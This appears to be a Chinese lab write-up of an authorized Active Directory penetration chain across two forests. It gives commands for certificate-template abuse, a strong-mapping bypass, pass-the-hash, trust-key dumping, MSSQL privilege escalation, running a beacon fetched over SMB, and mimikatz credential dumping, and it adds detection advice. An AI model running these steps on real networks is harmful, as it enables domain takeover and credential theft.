【实战复盘】Hackthebox-Prolabs Mythical CHAIN 双域渗透全链:从 ESC4 到跨林信任再到 SQL 提权
网安之家-CyberHomestead
2026年10月19日 07:00
湖北
去阅读
【实战复盘】Hackthebox-Prolabs Mythical CHAIN 双域渗透全链 Writeup:从 ESC4 到跨林信任再到 SQL 提权
公众号公开版说明
1.本测试在 授权实验室环境( 订阅靶场)完成,遵守平台规则;2.为防止直接抄袭/作弊,全部 flag 值、NTLM 哈希、破解出的口令、登录凭据、域信任密钥、C2 服务端信息均已脱敏(以
<PLACEHOLDER>形式标注)——每个实例这些值都不同,请自己在授权环境里动手推导;3.本文侧重原理 + 方法 + 命令形态,可直接用于学习与防御参考。
0. 靶标简介
Mythical CHAIN 是 VulnLab 的多机链式靶场:两台域控跨林互信(mythical-us.vl ⇆ mythical-eu.vl,单向信任),起点是 assumed breach——你拿到的不是扫描器,而是一个已经植入 DC01 的 Mythic C2 beacon(域用户上下文)。
攻面清单(复现后总结):
| # | 漏洞/弱点 | 位置 |
|---|---|---|
| 1 | rsync 匿名可读模块 | 备份服务器 |
| 2 | KeePass 弱主密码 + 库内存放域凭据 | 泄露的 it.kdbx |
| 3 | ESC4(证书模板可写)→ ESC1 | AD CS Machine 模板 |
| 4 | KB5014754 强映射绕过(SAN URI SID) | KDC PKINIT |
| 5 | 跨林信任密钥可导出 | LSA Secrets |
| 6 | .NET 工具硬编码服务账号凭据 | dev 共享 |
| 7 | MSSQL msdb TRUSTWORTHY + db\_owner | DC02 SQL Express |
| 8 | SeImpersonate → SYSTEM(Potato 家族) | DC02 服务账户 |
1. 网络拓扑图(复现后测绘)
┌────────────────────────────┐ │ 攻击机(VPN 接入 lab) │ │ redacted 198.18.x.x │ └─────────────┬──────────────┘ │ tun0(仅 lab 网段路由) ┌─────────────────────────────┼─────────────────────────────┐ │ │ │┌───────▼────────┐ ┌───────▼────────┐ ┌───────▼────────┐│ C2 (Mythic) │ │ 192.168.25.0 │ │ 192.168.1.0/24 ││ <C2_SERVER> │ │ OpenVPN/备份段 │ │ 域内核心段 ││ :7443 HTTPS │ │ .1 rsyncd │ │ │└───────▲────────┘ │ (模块 mythical │ ┌────────▼──────┐ ┌──────▼────────┐ │ │ 匿名可读) │ │ DC01 │ │ DC02 │ │ beacon 回调 └────────────────┘ │ .10 US 域控 │ │ .20 EU 域控 │ │ (HTTPS 加密) ▲ │ + AD CS │ │ + MSSQL 1433 │ └───────────────────────────│──────────────│ + beacon 🐝 │ │ dev 共享 │ DC01--rsync 拉取│ └───────┬───────┘ └───────┬───────┘ └──────────────────────┴─────────────────┘ 192.168.1.0/24 互通 单向林信任: EU → US (mythical-us$ 信任账户存于 EU)
关键路由结论:攻击机没有 192.168.1.0/24 的路由 → 一切域内动作必须经 beacon 投递(这也是本链自动化的根本动机)。
2. 第一步:beacon 稳态与信息收集
Mythic 登录(凭据略)后先做三件事:sleep 0 0(自动化的前提)、枚举回调、跑 SharpHound。
sleep 0 0execute_assembly SharpHound.exe -c All
BloodHound 结论:当前用户是普通域用户,无直接提权边 → 目光转向数据面(备份、共享)。
3. rsync 匿名模块 → flag + 密码库
DC01 上自带 cwrsync 客户端,直接用它列内网 rsync 服务:
cd C:\\_admin\\cwrsync\\binrsync.exe --list-only rsync://192.168.25.1rsync.exe -av rsync://192.168.25.1/mythical C:\\temp\\type C:\\temp\\flag.txt
收获:flag#1(MYTH{***})+ it.kdbx(KeePass v4 库)。
离线破解(在自己机器上):
./keepass4brute.sh it.kdbx rockyou-30.txt# [+] Password found: <KDBX_MASTER_PW> ← rockyou 小列表即命中python3 -c \"from pykeepass import PyKeePass;kp=PyKeePass('it.kdbx',password='<KDBX_MASTER_PW>');[print(e.username,e.password) for e in kp.entries]\"# → domjoin : <DOMJOIN_PW>
💡 KDBX v4 用 keepass2john 会踩坑(不支持),直接用 KDF 感知的 keepass4brute。 💡 domjoin 凭据先做 LDAP 绑定复验再往下走,别拿假凭据浪费时间。
4. ESC4 → ESC1:证书模板的\"一跳转化\"
domjoin 能加域 → 用它造机器账户,机器账户对 Machine 模板有写权限(ESC4):
make_token mythical-us\\domjoin <DOMJOIN_PW>execute_assembly StandIn_v13_Net45.exe --computer <NAME> --make# → 机器账户密码 <MACHINE_ACCT_PW>
make_token mythical-us\\<NAME>$ <MACHINE_ACCT_PW># ESC4 双写:注入\"申请者自供 SAN\" + 给 Domain Users 注册权execute_assembly StandIn_v13_Net45.exe --ADCS --filter Machine --ess --addexecute_assembly StandIn_v13_Net45.exe --ADCS --filter Machine --ntaccount \"mythical-us\\domain users\" --enroll --add
至此 ESC4 已转化为 ESC1:任意域用户可申请带任意 SAN 的 Machine 模板证书。
5. ★本文核心:KB5014754 强映射绕过(2025+ 补丁环境的 ESC1b)
5.1 为什么老打法死了
按 2025 年之前的教学流程,直接:
execute_assembly Certify.exe request /ca:dc01\\CA /template:Machine /altname:[email protected]_assembly Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt /getcredentials
本实例得到的是:
[-] Kerberos error: KDC_ERR_CERTIFICATE_MISMATCH
定性过程(三条只读命令闭环):
reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Kdc /v StrongCertificateBindingEnforcementreg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v CertificateMappingMethodsreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\" /v UBR
结果:两个策略键均不存在(取默认) + 系统 build 20348.3692(2025-09 补丁级)→ StrongCertificateBindingEnforcement 默认已是 Full:UPN/SAN 弱绑定不再映射到账户。这就是 MISMATCH 的根因,跟你的证书格式、账户拼写都没关系(我都对照过,全是同样报错)。
5.2 绕过原理
KB5014754 时代 KDC 仍然接受显式 SID 绑定,两条路:
1.NTDS CA 安全扩展(1.3.6.1.4.1.311.25.2)——需要 CA 侧配合从请求复制;2.SAN URI tag:microsoft.com,2022-09-14:sid:<SID>——申请者自己写进 SAN,KDC 回退强映射。✅
老版 Certify 没有这个参数 → 去 SharpCollection 拉 v2.2.0+ 的 nightly:
execute_assembly Certify_v2.exe request \\ --ca dc01.mythical-us.vl\\mythical-us-DC01-CA \\ --template Machine \\ --subject CN=<NAME>,CN=Computers,DC=mythical-us,DC=vl \\ --upn [email protected] \\ --sid-url <US_DOMAIN_SID>-500
出票为无密码 PFX(省掉 openssl 转换,Linux 上根本解析不了它——无 MAC):
execute_assembly Rubeus.exe asktgt /user:Administrator \\ /certificate:C:\\Windows\\Temp\\cert.pfx /ptt /nowrap /getcredentials
[+] TGT request successful! * NTLM : ← 已脱敏
⚠️ 防御视角:这就是微软文档里要求监测的
tag:microsoft.com,2022-09-14:sid:URI——CA 侧对\"签发证书含 sid: URI 且 SID ≠ 请求者\"应该直接告警。
6. PTH 本机提权 → DC01 SYSTEM
powershell_import Invoke-TheHash.psd1Invoke-SMBExec -Target 127.0.0.1 -Domain mythical-us.vl -Username administrator \\ -Hash -Command \"c:\\programdata\\google\\update.exe\"
(WMIExec 在 DC 上会 WMI access denied,直接换 SMBExec。)服务创建即删,beacon 以 SYSTEM 重生 → flag#2 在 Administrator 桌面。
7. 跨林信任:密钥导出 + 信任账户 TGT
SYSTEM 下导出信任密钥(我用的是 C2 内置内存态 mimikatz,免落地):
mimikatz # lsadump::trust /patch# [ Out ] MYTHICAL-EU.VL -> MYTHICAL-US.VL# * rc4_hmac_nt <TRUST_KEY_RC4> ← 每个实例随机,别抄别人的 writeup
用信任账户在 EU 域直接取票(单向信任的经典滥用):
execute_assembly Rubeus.exe asktgt /user:mythical-us$ /domain:mythical-eu.vl \\ /rc4:<TRUST_KEY_RC4> /nowrap /ptt[+] TGT request successful!
net view \\\\dc02.mythical-eu.vl# dev / NETLOGON / SYSVOLdir \\\\dc02.mythical-eu.vl\\dev# Autologon64.exe getusers.exe
💡 我先重放了公开 walkthrough 里的信任密钥 →
KDC_ERR_PREAUTH_FAILED。信任密码每实例随机,必须本机导。
8. dev 共享里的硬编码凭据
getusers.exe 是个 4KB 的 .NET 小工具,字符串表里就是明文 LDAP 绑定凭据:
copy /Y \\\\dc02.mythical-eu.vl\\dev\\getusers.exe C:\\Windows\\Temp\\powershell [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\\Windows\\Temp\\getusers.exe'))# 攻击机解码后提取 UTF-16 字符串:# LDAP://dc02.mythical-eu.vl / svc_ldap / <SVC_PASSWORD>
实机跑一遍该 exe(能枚举出 28 个账号)即验证凭据活性。口令复用:svc\_sql 同密码(喷洒验证)。
9. MSSQL:TRUSTWORTHY + db\_owner → sysadmin → xp\_cmdshell
DC01 自带 go-sqlcmd(C:\\Program Files\\SqlCmd\\sqlcmd.exe):
make_token mythical-eu\\svc_sql <SVC_PASSWORD>sqlcmd -S tcp:192.168.1.20,1433 -E -C -i q1.sql
-- q1.sql:先看清自己是谁SELECT SUSER_SNAME(), IS_SRVROLEMEMBER('sysadmin'); -- 0USE msdb; SELECT IS_ROLEMEMBER('db_owner'); -- 1 ←SELECT is_trustworthy_on FROM sys.databases WHERE name='msdb'; -- 1 ←
条件齐了,教科书式三连:
-- q2.sqlUSE msdb;CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MYTHICAL-EU\\svc_sql','sysadmin';EXEC sp_elevate_me;SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 ✅EXEC sp_configure 'show advanced options',1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;EXEC xp_cmdshell 'whoami'; -- nt service\\mssql$sqlexpress @ dc02
10. 载荷投递 + Potato → DC02 SYSTEM → flag#3
DC01 开临时共享当投递点,xp\_cmdshell 拉取执行:
(DC01)net share hello=C:\\hello /grant:Everyone,READ + 放入 beacon 副本(SQL) EXEC xp_cmdshell 'copy /Y \\\\192.168.1.10\\hello\\update.exe C:\\Windows\\Temp\\update.exe'; EXEC xp_cmdshell 'start \"\" \"C:\\Windows\\Temp\\update.exe\"';
💡
start会让 sqlcmd 会话永久挂起(等子进程树)——判断成功的标志是新 callback 上线,不是命令回显。
mssql 服务账户持 SeImpersonate → Potato 提权(EfsPotato 无预编译,GodPotato 等价可用):
execute_assembly GodPotato-NET4.exe -cmd \"cmd /c whoami\"# [*] Find System Token : True → CurrentUser: NT AUTHORITY\\SYSTEMexecute_assembly GodPotato-NET4.exe -cmd \"C:\\Windows\\Temp\\update.exe\"
最后收割:
mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswords# 用户 root 的 Password 字段 = MYTH{***} ← flag#3(已脱敏)
11. 渗透测试拓扑图(攻击路径全景)
[Assumed Breach: 域用户 beacon @DC01] │ ├─① rsync 匿名读 ──▶ flag#1 + it.kdbx │ │ │ ▼ ├─② 字典爆破 KDBX ──▶ domjoin 凭据 │ │ │ ▼ ├─③ StandIn 造机器账户 ──▶ <NAME>$ (Domain Computers) │ │ │ ▼ ├─④ ESC4 双写模板 ──▶ ESC1 就绪(自供 SAN) │ │ │ ▼ ├─⑤ Certify v2 --sid-url ──▶ Administrator 伪证书 │ ⚠ SCBE=Full 绕过点 (KB5014754 / SAN URI SID) │ │ │ ▼ ├─⑥ PKINIT+U2U ──▶ │ │ │ ▼ ├─⑦ Invoke-SMBExec ([email protected]) ──▶ DC01 SYSTEM ──▶ flag#2 │ │ │ ▼ ├─⑧ lsadump::trust ──▶ <TRUST_KEY> │ │ │ ▼ ├─⑨ asktgt mythical-us$@EU ──▶ EU TGT ──▶ dev 共享 │ │ │ ▼ ├─⑩ getusers.exe 字符串表 ──▶ svc_ldap/svc_sql 凭据 │ │ │ ▼ ├─⑪ msdb db_owner+TRUSTWORTHY ──▶ sysadmin ──▶ xp_cmdshell (DC02) │ │ │ ▼ ├─⑫ SMB 共享投递 ──▶ beacon@DC02 (服务账户) │ │ │ ▼ ├─⑬ GodPotato (SeImpersonate) ──▶ DC02 SYSTEM │ │ └─⑭ sekurlsa::logonpasswords ──▶ flag#3
断链点分析:①②④⑤⑪⑬ 任一环节修复即阻断全链。最低成本四刀:rsync 加认证、模板 ACL 收敛、svc 密码独立化、msdb TRUSTWORTHY OFF。
12. 检测建议(给蓝队)
| 攻击跳 | 信号 |
|---|---|
| 模板改写 | EID 5136:非 DA 主体改 msPKI-\* |
| 伪证书签发 | CA 4886/4890 + SAN 含 tag:microsoft.com,2022-09-14:sid: 且 SID≠请求者 |
| PKINIT 异常 | EID 4768:证书认证 + 高价值账户 + 非常用源主机 |
| PTH/服务创建 | 4624(type3 NTLM) + 7045 随机短名服务 |
| 信任密钥读取 | LSASS 访问(Sysmon EID 10)+ RunAsPPL |
| 信任账户取票 | EID 4768:账户形如 DOMAIN$ |
| SQL 提权 | Audit:msdb 内 CREATE PROC…EXECUTE AS + sp\_addsrvrolemember 组合 |
| Potato | Sysmon EID 1:服务子进程连 \\\\.\\pipe\\*\\pipe\\epmapper |
13. 复盘一句话
老 walkthrough 的 /altname 一条路在 2025+ 补丁实例上必死(SCBE=Full); 新钥匙是 SAN URI SID;信任密钥每实例随机,抄作业没有出路—— 看报错查策略面(补丁/注册表)优先于换 payload 变体,是这次最大的方法论收获。
⚠️ 免责声明:本文仅在授权实验室环境完成并复现,所有敏感值(flag/哈希/口令/密钥/C2 信息)已脱敏,请勿用于未授权用途。转载请注明出处。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论